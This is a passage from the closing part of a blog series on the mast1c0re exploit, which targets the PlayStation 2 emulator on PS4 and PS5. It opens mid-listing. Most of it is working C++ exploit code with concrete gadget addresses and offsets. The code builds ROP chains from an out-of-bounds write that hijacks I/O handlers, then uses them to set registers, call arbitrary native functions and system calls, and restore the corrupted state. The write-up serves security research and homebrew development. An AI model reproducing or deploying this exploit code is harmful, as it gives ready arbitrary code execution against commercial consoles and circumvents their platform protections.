    // R13
    PS::Breakout::pushChain(GADGET(POP_R14_RET));
    PS::Breakout::pushChain(BREAKOUT_RESTORE_R14);
    PS::Breakout::pushChain(GADGET(POP_R15_RET));
    PS::Breakout::pushChain(BREAKOUT_RESTORE_R15);
    PS::Breakout::pushChain(GADGET(POP_RBP_RET));
    PS::Breakout::pushChain(STACK(BREAKOUT_RESTORE_RBP_OFF));
    PS::Breakout::pushChain(GADGET(POP_RSP_RET));
    PS::Breakout::pushChain(STACK(BREAKOUT_RESTORE_RSP_OFF));

    // Execute ROP Chain
    volatile uint32_t *interruptRegisters =
        (volatile uint32_t*)(void*)0x1F801000;
    *interruptRegisters = EBOOT(STAGE_1);
}

Executing a ROP chain

Combining all of the vulnerabilities and leaks so far, we can create a breakout init function which performs the necessary steps in order to setup the ROP chain execution. The input/output read handler is also restored to the original function pointer value as it is no longer required once the eboot.bin and stack addresses have been leaked.

#define IO_REGISTER_READ_HANDLERS         0x060e7880
#define IO_REGISTER_READ_HANDLER_ORIGINAL 0x005a9d60

void PS::Breakout::restoreReadHandler()
{
    PS::Breakout::writeOOB(IO_REGISTER_READ_HANDLERS, EBOOT(IO_REGISTER_READ_HANDLER_ORIGINAL));
}

void PS::Breakout::init()
{
    // Leak EBOOT diff
    PS::Breakout::leakEboot();

    // Leak stack address
    PS::Breakout::leakStack();

    // Restore read handler
    PS::Breakout::restoreReadHandler();

    // Setup stage 1 ROP
    PS::Breakout::setupROP();
}

The following code shows a very simple demonstration of executing two seperate ROP chains, with the first setting the value of the RBX register to 0x11223344, and the second setting the RAX register to 0x55667788.

#define POP_RBX_RET 0x40c164 // pop rbx ; ret ;
#define POP_RAX_RET 0x4f1f0b // pop rax ; ret ;

void main()
{
    PS::Breakout::init();

    // Set RBX to an arbitrary value
    PS::Breakout::pushChain(GADGET(POP_RBX_RET));
    PS::Breakout::pushChain(0x11223344);
    PS::Breakout::executeChain();

    // Set RAX to an arbitrary value
    PS::Breakout::pushChain(GADGET(POP_RAX_RET));
    PS::Breakout::pushChain(0x55667788);
    PS::Breakout::executeChain();
}

Setting register values

RAX, RBX, RCX, RDI, RSI

The next step is to create helper functions to set the value of registers in our ROP chain. For the registers RAX, RBX, RCX, RDI and RSI this is quite simple, as the corresponding “pop <register>; ret ;” gadgets exist within the eboot.bin. For example, the code for setting the RAX register is as shown:

#define POP_RAX_RET 0x4f1f0b // pop rax ; ret ;

void PS::Breakout::setRAX(uint64_t rax)
{
    PS::Breakout::pushChain(GADGET(POP_RAX_RET));
    PS::Breakout::pushChain(rax);
}

The gadgets for the other registers are:

#define POP_RAX_RET 0x4f1f0b // pop rax ; ret ;
#define POP_RBX_RET 0x40c164 // pop rbx ; ret ;
#define POP_RCX_RET 0x493773 // pop rcx ; ret ;
#define POP_RDI_RET 0x401429 // pop rdi ; ret ;
#define POP_RSI_RET 0x44756e // pop rsi ; ret ;

RDX

Setting the value of RDX requires a slightly more complicated chain and changes the value of registers RAX, RBX and RDX. The gadget required is “mov rdx, rax ; call rbx ;“, which means we first need to set the desired value of RDX into the RAX register. We can do this using the setRAX helper defined previously. Next, the instruction is “call rbx“, which will push RIP (instruction pointer) to the stack, then execute the gadget placed in RBX. Therefore, we can set the value of RBX to the gadget “pop rbx ; ret ;” which will pop the return pointer that was pushed onto the stack by the call instruction into RBX, then return to continue executing the ROP chain.

#define POP_RBX_RET 0x40c164 // pop rbx ; ret ;
#define MOV_RDX_RAX_CALL_RBX 0x452ba6 // mov rdx, rax ; call rbx ;

// Changes RAX, RBX, RDX
void PS::Breakout::setRDX(uint64_t rdx)
{
    PS::Breakout::setRAX(rdx);
    // Pop call return into RBX
    PS::Breakout::setRBX(GADGET(POP_RBX_RET));
    PS::Breakout::pushChain(GADGET(MOV_RDX_RAX_CALL_RBX));
}

R8

The gadget “mov r8, rbx ; call qword [rax+0x78] ;” is used to set an arbitrary value into the R8 register. First, we must set the value of RBX to the desired 64-bit value we want to be stored in R8. Next, we need to set RAX to an address which we can write a gadget address to, minus the 0x78 offset. Similar to setting RDX, we set the gadget to “pop rax ; ret ;” to pop the call’s return address from the stack.

// mov r8, rbx ; call qword [rax+0x78] ;
#define MOV_R8_RBX_CALL_QWORD_OB_RAX_PLUS_0X78_CB 0x4aa93e

uint64_t PS::Breakout::gadgetPopRaxRet = GADGET(POP_RAX_RET);

// Changes RAX, RBX, R8
void PS::Breakout::setR8(uint64_t r8)
{
    PS::Breakout::setRBX(r8);
    uint64_t gadget = VAR_TO_NATIVE(PS::Breakout::gadgetPopRaxRet);
    uint64_t gadget_off = gadget - (uint64_t)0x78;
    PS::Breakout::setRAX(gadget_off); // Pop call return into RAX
    PS::Breakout::pushChain(
        GADGET(MOV_R8_RBX_CALL_QWORD_OB_RAX_PLUS_0X78_CB)
    );
}

R13

For setting R13 we use the gadget “mov r13, rax ; call qword [rbx+0x08] ;“, which follows the same process as setting R8, however with a different address offset of 0x08.

// mov r13, rax ; call qword [rbx+0x08] ;
#define MOV_R13_RAX_CALL_QWORD_OB_RBX_PLUS_0X08_CB 0x5ee19f

uint64_t PS::Breakout::gadgetPopRbxRet = GADGET(POP_RBX_RET);

// Changes RAX, RBX, R13
void PS::Breakout::setR13(uint64_t r13)
{
    PS::Breakout::setRAX(r13);
    uint64_t gadget = VAR_TO_NATIVE(PS::Breakout::gadgetPopRbxRet);
    uint64_t gadget_off = gadget - (uint64_t)0x08;
    PS::Breakout::setRBX(gadget_off); // Pop call return into RBX
    PS::Breakout::pushChain(
        GADGET(MOV_R13_RAX_CALL_QWORD_OB_RBX_PLUS_0X08_CB)
    );
}

R9

Setting the value of R9 uses the most complex gadget setup out of all the registers so far. It also changes the value of registers RAX, RBX, RDI, R8, R9, and R13. Therefore, we should set the R9 register when required before setting other registers to prevent overwriting required existing register values.

The gadget used is “or r9, rax ; movzx eax, dil ; shl rax, 0x04 ; mov qword [r8+rax], rcx ; mov qword [r8+rax+0x08], r9 ; ret ;” and requires various constraints in order to successfully execute. As the r9 value is set by using a bitwise OR with the RAX register, we need to first set the value of r9 to zero.

For this, we can use the gadget “and r9d, r13d ; jmp qword [rbx-0x260032D7] ;” which performs a bitwise AND with r13. By setting r13 to zero, we can ensure that r9 will also be set to zero. A pointer to a “ret;” gadget is then set in RBX at an offset of +0x260032D7 as shown:

// and r9d, r13d ; jmp qword [rbx-0x260032D7] ;
#define AND_R9D_R13D_JMP_QWORD_OB_RBX_0X260032D7_CB 0x7e6114

uint64_t PS::Breakout::gadgetRet = GADGET(RET);

// Changes RBX, R9, R13
void PS::Breakout::clearR9()
{
    // Set r9d to zero (r9d & 0)
    PS::Breakout::setR13(0);
    uint64_t gadget = VAR_TO_NATIVE(PS::Breakout::gadgetRet);
    uint64_t gadget_off = gadget + (uint64_t)0x260032D7;
    PS::Breakout::setRBX(gadget_off);
    PS::Breakout::pushChain(
        GADGET(AND_R9D_R13D_JMP_QWORD_OB_RBX_0X260032D7_CB)
    );
}

Now that R9 is set to zero, we can setup the stack for the gadget “or r9, rax ; movzx eax, dil ; shl rax, 0x04 ; mov qword [r8+rax], rcx ; mov qword [r8+rax+0x08], r9 ; ret ;” which requires setting RAX to the required R9 value due to “or r9, rax” instruction. Next, RDI must be zero, so that it sets the value of EAX to zero in the instruction “movzx eax, dil ;“. After this, “shl rax, 0x04 ;” will do nothing and RAX will remain zero. The R8 register must be set to a pointer of a global address which can store the value of RCX due to the next instruction “mov qword [r8+rax], rcx ;“. Again, the next instruction “mov qword [r8+rax+0x08], r9 ;” stores the value of R9 at R8 + 0x08. Finally, the ret instruction is reached and the ROP chain execution continues on the stack.

// or r9, rax ; movzx eax, dil ; shl rax, 0x04 ;
// mov qword [r8+rax], rcx ; mov qword [r8+rax+0x08], r9 ; ret ;
#define OR_R9_RAX_..._0X08_CB_R9_RET 0x4aa53b

char PS::Breakout::tempVar[16];

// Changes RAX, RBX, RDI, R8, R9, R13
void PS::Breakout::setR9WhenClear(uint64_t r9)
{
    // or r9, rax
    uint64_t r8 = VAR_TO_NATIVE(PS::Breakout::tempVar);
    PS::Breakout::setR8(r8);
    PS::Breakout::setRAX(r9);
    PS::Breakout::setRDI(0);
    PS::Breakout::pushChain(GADGET(OR_R9_RAX_..._0X08_CB_R9_RET));
}

The complete function to set the value of R9 can be seen below:

// or r9, rax ; movzx eax, dil ; shl rax, 0x04 ;
// mov qword [r8+rax], rcx ; mov qword [r8+rax+0x08], r9 ; ret ;
#define OR_R9_RAX_..._0X08_CB_R9_RET 0x4aa53b

// and r9d, r13d ; jmp qword [rbx-0x260032D7] ;
#define AND_R9D_R13D_JMP_QWORD_OB_RBX_0X260032D7_CB 0x7e6114

char PS::Breakout::tempVar[16];
uint64_t PS::Breakout::gadgetRet = GADGET(RET);

// Changes RAX, RBX, RDI, R8, R9, R13
void PS::Breakout::setR9(uint64_t r9)
{
    // Set r9d to zero (r9d & 0)
    PS::Breakout::setR13(0);
    uint64_t gadget = VAR_TO_NATIVE(PS::Breakout::gadgetRet);
    uint64_t gadget_off = gadget + (uint64_t)0x260032D7;
    PS::Breakout::setRBX(gadget_off);
    PS::Breakout::pushChain(
        GADGET(AND_R9D_R13D_JMP_QWORD_OB_RBX_0X260032D7_CB)
    );

    // or r9, rax
    uint64_t r8 = VAR_TO_NATIVE(PS::Breakout::tempVar);
    PS::Breakout::setR8(r8);
    PS::Breakout::setRAX(r9);
    PS::Breakout::setRDI(0);
    PS::Breakout::pushChain(GADGET(OR_R9_RAX_..._0X08_CB_R9_RET));
}

Getting RAX value

The value of the RAX register can be retrieved using the gadget “mov qword [rsi], rax ; ret ;“. This requires the RSI register to be set to a pointer of the target variable, which we can set using setRSI.

// mov qword [rsi], rax ; ret ;
#define MOV_QWORD_OB_RSI_CB_RAX_RET 0x480b8c

void PS::Breakout::getRAX(uint64_t* value)
{
    // RSI = &value
    PS::Breakout::setRSI(PVAR_TO_NATIVE(value));

    // value = RAX
    PS::Breakout::pushChain(GADGET(MOV_QWORD_OB_RSI_CB_RAX_RET));
}

Function calls

Now that we are able to set the value of most registers with various helper functions, our next step is to execute functions. The following table shows us the registers used for each parameter when calling a function:

ReturnRAX
Argument #1RDI
Argument #2RSI
Argument #3RDX
Argument #4RCX
Argument #5R8
Argument #6R9
Argument #7 (N = 0)Stack+0x08
Argument #8 (N = 1)Stack+0x10
Argument #NStack+0x08+(0x08 * N)

The following executeAndGetResult function pushes the function address on to the stack, followed by retrieving the return value from RAX, and then executes the ROP chain.

uint64_t PS::Breakout::executeAndGetResult(uint64_t address)
{
    // Call gadget/function
    PS::Breakout::pushChain(address);

    // Get result
    uint64_t value = 0;
    PS::Breakout::getRAX(&value);

    // Trigger chain
    PS::Breakout::executeChain();
    return value;
}

0-6 arguments

The following call function shows an example of executing a function with no arguments:

uint64_t PS::Breakout::call(uint64_t address)
{
    PS::Breakout::resetChain();
    return PS::Breakout::executeAndGetResult(address);
}

Likewise, the following function demonstrates calling a function with 6 arguments. The same functions exist for calling functions with arguments 1 to 5, setting only the required registers for those function calls.

uint64_t PS::Breakout::call(
    uint64_t address, uint64_t rdi, uint64_t rsi,
    uint64_t rdx, uint64_t rcx, uint64_t r8, uint64_t r9
)
{
    PS::Breakout::resetChain();
    PS::Breakout::setR9(r9);
    PS::Breakout::setR8(r8);
    PS::Breakout::setRDX(rdx);
    PS::Breakout::setRDI(rdi);
    PS::Breakout::setRSI(rsi);
    PS::Breakout::setRCX(rcx);
    return PS::Breakout::executeAndGetResult(address);
}

7 arguments

Calling a function with 7 arguments requires pushing the 7th argument on to the stack. We therefore need to push the gadget “pop rcx ; ret ;” after the function address in order to pop the 7th argument off the stack after execution the function has completed, in order to continue executing the ROP chain.

#define POP_RCX_RET 0x493773 // pop rcx ; ret ;

uint64_t PS::Breakout::call(
    uint64_t address, uint64_t rdi, uint64_t rsi, uint64_t rdx,
    uint64_t rcx, uint64_t r8, uint64_t r9, uint64_t stack1
)
{
    PS::Breakout::resetChain();
    PS::Breakout::setR9(r9);
    PS::Breakout::setR8(r8);
    PS::Breakout::setRDX(rdx);
    PS::Breakout::setRDI(rdi);
    PS::Breakout::setRSI(rsi);
    PS::Breakout::setRCX(rcx);
    
    // Call gadget/function
    PS::Breakout::pushChain(address);

    // Pop the following argument off the stack
    PS::Breakout::pushChain(GADGET(POP_RCX_RET));
    PS::Breakout::pushChain(stack1);

    // Get result
    uint64_t value = 0;
    PS::Breakout::getRAX(&value);

    // Trigger chain
    PS::Breakout::executeChain();
    return value;
}

8 arguments

Similar to calling a function with 7 arguments, we need to push the additional 2 arguments on to the stack. In this case, the gadget “pop rcx ; rol ch, 0xF8 ; pop rsi ; ret ;” is used to pop both argument 7 and argument 8 off the stack before continuing the ROP chain.

// pop rcx ; rol ch, 0xF8 ; pop rsi ; ret ;
#define POP_RCX_ROL_CH_0XF8_POP_RSI_RET 0x69c3eb

uint64_t PS::Breakout::call(
    uint64_t address, uint64_t rdi, uint64_t rsi, uint64_t rdx,
    uint64_t rcx, uint64_t r8, uint64_t r9, uint64_t stack1,
    uint64_t stack2
)
{
    PS::Breakout::resetChain();
    PS::Breakout::setR9(r9);
    PS::Breakout::setR8(r8);
    PS::Breakout::setRDX(rdx);
    PS::Breakout::setRDI(rdi);
    PS::Breakout::setRSI(rsi);
    PS::Breakout::setRCX(rcx);

    // Call gadget/function
    PS::Breakout::pushChain(address);

    // Pop the following arguments off the stack
    PS::Breakout::pushChain(GADGET(POP_RCX_ROL_CH_0XF8_POP_RSI_RET));
    PS::Breakout::pushChain(stack1);
    PS::Breakout::pushChain(stack2);

    // Get result
    uint64_t value = 0;
    PS::Breakout::getRAX(&value);

    // Trigger chain
    PS::Breakout::executeChain();
    return value;
}

System calls

The only system call gadget I found that continues execution to the ROP chain was in the libkernel.sprx binary. As previously discussed, leaking the base address of this binary is firmware dependent, therefore calling system calls is currently firmware dependent.

The following table shows us the registers used for each parameter when calling a system call:

ReturnRAX
Syscall IndexRAX
Argument #1RDI
Argument #2RSI
Argument #3RDX
Argument #4RCX
Argument #5R8
Argument #6R9

An example of calling a system call with 3 arguments is shown below:

#define LIB_KERNEL_SYS_RET 0x002b9a

uint64_t PS::Breakout::syscall(
    int32_t index, uint64_t rdi, uint64_t rsi, uint64_t rdx
)
{
    PS::Breakout::resetChain();
    PS::Breakout::setRDX(rdx);
    PS::Breakout::setRAX((uint64_t)index);
    PS::Breakout::setRDI(rdi);
    PS::Breakout::setRSI(rsi);
    return PS::Breakout::executeAndGetResult(LIBKERNEL(LIB_KERNEL_SYS_RET));
}

Restoring corruption

After executing arbitrary ROP chains within the PlayStation 4 or PlayStation 5, we need to restore any previously corrupted data.

First we need to restore the input/output interrupt write handler to the original function address. Then, we need to reset the gSStatusIndex and gNStatusIndex to zero.

#define INTERRUPT_WRITE_HANDLERS          0x00ae7d98
#define INTERRUPT_WRITE_HANDLER_ORIGINAL  0x0047da10

void PS::Breakout::restoreWriteHandler()
{
    PS::Breakout::writeOOB(INTERRUPT_WRITE_HANDLERS, EBOOT(INTERRUPT_WRITE_HANDLER_ORIGINAL));
}

void PS::Breakout::restore()
{
    // Restore write handler
    PS::Breakout::restoreWriteHandler();

    // Reset statuses
    PS::Breakout::resetSStatusIndex();
    PS::Breakout::resetNStatusIndex();
}

Conclusion

We started the blog post series by exploring how to modify game save files for the PlayStation 2, and specifically modify the game save for Okage: Shadow King by calculating the CRC value.

Then, we developed a typical stack-based buffer overflow with no protections for the PlayStation 2, specifically targeting the game save profile name. We expanded upon that exploit by writing a small amount of custom assembly shellcode to load a PlayStation 2 ELF into memory and execute it.

Finally, we leveraged an out of bounds overflow within the PlayStation emulator which we could leverage to write memory at a relative offset beyond the overflow data. Using this write primitive, we overwrote an input/output read handler in order to execute gadgets and defeat ASLR. Then, we overwrote an input/output write handler in order to setup the ROP chain. Next, after writing a lot of small helper functions to dynamically build a ROP chain, we are able to execute any function or system call within the native PlayStation executable memory mappings.

What’s Next? That’s for you to decide.

Other developers can use this project to implement kernel exploits on all firmware versions which have a working kernel exploit, which would result in the ability to run homebrew on those firmware versions on the PlayStation 4. For the PlayStation 5, a kernel exploit would allow users to be able to achieve the same functionality as other vulnerabilities such as a webkit exploit, which I believe is currently mostly limited to enabling debug settings.

The complete mast1c0re project to build custom PlayStation 4 and PlayStation 5 payloads can be found at McCaulay/mast1c0re.

Massive thanks for the initial research from CTurtE with assistance from flatz, balika011, theflow0, chicken(s).

References